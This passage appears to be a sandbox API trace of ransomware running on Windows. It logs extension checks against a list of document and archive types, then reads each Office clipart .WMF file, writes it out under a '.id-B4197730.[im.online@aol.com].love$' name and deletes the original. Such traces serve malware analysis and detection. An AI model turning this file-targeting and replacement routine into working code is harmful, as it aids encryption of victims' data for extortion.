lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0256.579] lstrlenW (lpString=".jpg") returned 4 [0256.579] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.579] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0256.579] lstrlenW (lpString="HH00612_.WMF") returned 12 [0256.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0256.581] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=12632) returned 1 [0256.581] CloseHandle (hObject=0x304) returned 1 [0256.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf")) returned 0x220 [0256.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0256.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0256.582] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.582] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0256.583] GetLastError () returned 0x0 [0256.583] ReadFile (in: hFile=0x304, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x3158, lpOverlapped=0x0) returned 1 [0256.586] WriteFile (in: hFile=0x540, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x3160, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x3160, lpOverlapped=0x0) returned 1 [0256.588] ReadFile (in: hFile=0x304, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0256.588] WriteFile (in: hFile=0x540, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0256.588] SetEndOfFile (hFile=0x540) returned 1 [0256.588] CloseHandle (hObject=0x540) returned 1 [0256.588] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.588] SetEndOfFile (hFile=0x304) returned 1 [0256.592] CloseHandle (hObject=0x304) returned 1 [0256.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0256.593] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf")) returned 1 [0256.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0256.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0256.594] lstrlenW (lpString=".doc") returned 4 [0256.594] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.594] lstrlenW (lpString=".docx") returned 5 [0256.594] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.595] lstrlenW (lpString=".pdf") returned 4 [0256.595] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.595] lstrlenW (lpString=".xls") returned 4 [0256.595] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.595] lstrlenW (lpString=".xlsx") returned 5 [0256.595] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.595] lstrlenW (lpString=".ppt") returned 4 [0256.595] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0256.595] lstrlenW (lpString=".zip") returned 4 [0256.595] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.595] lstrlenW (lpString=".rar") returned 4 [0256.595] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.595] lstrlenW (lpString=".bz2") returned 4 [0256.595] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.595] lstrlenW (lpString=".7z") returned 3 [0256.595] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0256.595] lstrlenW (lpString=".dbf") returned 4 [0256.595] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0256.595] lstrlenW (lpString=".1cd") returned 4 [0256.595] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0256.595] lstrlenW (lpString=".jpg") returned 4 [0256.595] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0256.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0256.595] lstrlenW (lpString=".doc") returned 4 [0256.596] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.596] lstrlenW (lpString=".docx") returned 5 [0256.596] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.596] lstrlenW (lpString=".pdf") returned 4 [0256.596] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.596] lstrlenW (lpString=".xls") returned 4 [0256.596] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.596] lstrlenW (lpString=".xlsx") returned 5 [0256.596] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.596] lstrlenW (lpString=".ppt") returned 4 [0256.596] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0256.596] lstrlenW (lpString=".zip") returned 4 [0256.596] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.596] lstrlenW (lpString=".rar") returned 4 [0256.596] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.596] lstrlenW (lpString=".bz2") returned 4 [0256.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.596] lstrlenW (lpString=".7z") returned 3 [0256.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0256.596] lstrlenW (lpString=".dbf") returned 4 [0256.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0256.596] lstrlenW (lpString=".1cd") returned 4 [0256.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0256.597] lstrlenW (lpString=".jpg") returned 4 [0256.597] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.597] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0256.597] lstrlenW (lpString="HH00623_.WMF") returned 12 [0256.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0256.598] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=10644) returned 1 [0256.598] CloseHandle (hObject=0x304) returned 1 [0256.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf")) returned 0x220 [0256.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0256.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0256.599] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.599] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0256.852] GetLastError () returned 0x0 [0256.852] ReadFile (in: hFile=0x304, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x2994, lpOverlapped=0x0) returned 1 [0256.864] WriteFile (in: hFile=0x4e4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x29a0, lpOverlapped=0x0) returned 1 [0256.865] ReadFile (in: hFile=0x304, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0256.865] WriteFile (in: hFile=0x4e4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0256.866] SetEndOfFile (hFile=0x4e4) returned 1 [0256.866] CloseHandle (hObject=0x4e4) returned 1 [0256.866] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.866] SetEndOfFile (hFile=0x304) returned 1 [0257.125] CloseHandle (hObject=0x304) returned 1 [0257.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0257.126] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf")) returned 1 [0257.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0257.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0257.128] lstrlenW (lpString=".doc") returned 4 [0257.128] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.128] lstrlenW (lpString=".docx") returned 5 [0257.128] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0257.128] lstrlenW (lpString=".pdf") returned 4 [0257.128] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.128] lstrlenW (lpString=".xls") returned 4 [0257.128] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.128] lstrlenW (lpString=".xlsx") returned 5 [0257.128] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0257.128] lstrlenW (lpString=".ppt") returned 4 [0257.128] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0257.128] lstrlenW (lpString=".zip") returned 4 [0257.128] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.128] lstrlenW (lpString=".rar") returned 4 [0257.129] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.129] lstrlenW (lpString=".bz2") returned 4 [0257.129] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.129] lstrlenW (lpString=".7z") returned 3 [0257.129] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0257.129] lstrlenW (lpString=".dbf") returned 4 [0257.129] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0257.129] lstrlenW (lpString=".1cd") returned 4 [0257.129] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0257.129] lstrlenW (lpString=".jpg") returned 4 [0257.129] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0257.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0257.129] lstrlenW (lpString=".doc") returned 4 [0257.129] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.129] lstrlenW (lpString=".docx") returned 5 [0257.129] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0257.129] lstrlenW (lpString=".pdf") returned 4 [0257.129] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.129] lstrlenW (lpString=".xls") returned 4 [0257.130] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.130] lstrlenW (lpString=".xlsx") returned 5 [0257.130] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0257.130] lstrlenW (lpString=".ppt") returned 4 [0257.130] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0257.130] lstrlenW (lpString=".zip") returned 4 [0257.130] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.130] lstrlenW (lpString=".rar") returned 4 [0257.130] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.130] lstrlenW (lpString=".bz2") returned 4 [0257.130] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.130] lstrlenW (lpString=".7z") returned 3 [0257.130] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0257.130] lstrlenW (lpString=".dbf") returned 4 [0257.130] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0257.130] lstrlenW (lpString=".1cd") returned 4 [0257.131] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0257.131] lstrlenW (lpString=".jpg") returned 4 [0257.131] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.131] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0257.131] lstrlenW (lpString="HH00693_.WMF") returned 12 [0257.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0257.133] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=7098) returned 1 [0257.133] CloseHandle (hObject=0x304) returned 1 [0257.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf")) returned 0x220 [0257.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0257.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0257.134] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.134] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0257.136] GetLastError () returned 0x0 [0257.136] ReadFile (in: hFile=0x304, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x1bba, lpOverlapped=0x0) returned 1 [0257.139] WriteFile (in: hFile=0x45c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1bc0, lpOverlapped=0x0) returned 1 [0257.142] ReadFile (in: hFile=0x304, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0257.142] WriteFile (in: hFile=0x45c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0257.142] SetEndOfFile (hFile=0x45c) returned 1 [0257.142] CloseHandle (hObject=0x45c) returned 1 [0257.143] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.143] SetEndOfFile (hFile=0x304) returned 1 [0257.148] CloseHandle (hObject=0x304) returned 1 [0257.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0257.149] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf")) returned 1 [0257.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0257.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0257.150] lstrlenW (lpString=".doc") returned 4 [0257.150] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.151] lstrlenW (lpString=".docx") returned 5 [0257.151] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0257.151] lstrlenW (lpString=".pdf") returned 4 [0257.151] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.151] lstrlenW (lpString=".xls") returned 4 [0257.151] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.151] lstrlenW (lpString=".xlsx") returned 5 [0257.151] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0257.151] lstrlenW (lpString=".ppt") returned 4 [0257.151] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0257.151] lstrlenW (lpString=".zip") returned 4 [0257.151] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.151] lstrlenW (lpString=".rar") returned 4 [0257.151] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.151] lstrlenW (lpString=".bz2") returned 4 [0257.151] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.151] lstrlenW (lpString=".7z") returned 3 [0257.151] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0257.151] lstrlenW (lpString=".dbf") returned 4 [0257.151] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0257.151] lstrlenW (lpString=".1cd") returned 4 [0257.151] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0257.152] lstrlenW (lpString=".jpg") returned 4 [0257.152] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0257.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0257.152] lstrlenW (lpString=".doc") returned 4 [0257.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.152] lstrlenW (lpString=".docx") returned 5 [0257.152] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0257.152] lstrlenW (lpString=".pdf") returned 4 [0257.152] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.152] lstrlenW (lpString=".xls") returned 4 [0257.152] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.152] lstrlenW (lpString=".xlsx") returned 5 [0257.152] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0257.152] lstrlenW (lpString=".ppt") returned 4 [0257.152] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0257.152] lstrlenW (lpString=".zip") returned 4 [0257.152] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.152] lstrlenW (lpString=".rar") returned 4 [0257.152] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.152] lstrlenW (lpString=".bz2") returned 4 [0257.152] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.152] lstrlenW (lpString=".7z") returned 3 [0257.153] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0257.153] lstrlenW (lpString=".dbf") returned 4 [0257.153] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0257.153] lstrlenW (lpString=".1cd") returned 4 [0257.153] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0257.153] lstrlenW (lpString=".jpg") returned 4 [0257.153] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.153] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0257.153] lstrlenW (lpString="HH01013_.WMF") returned 12 [0257.153] CreateFileW 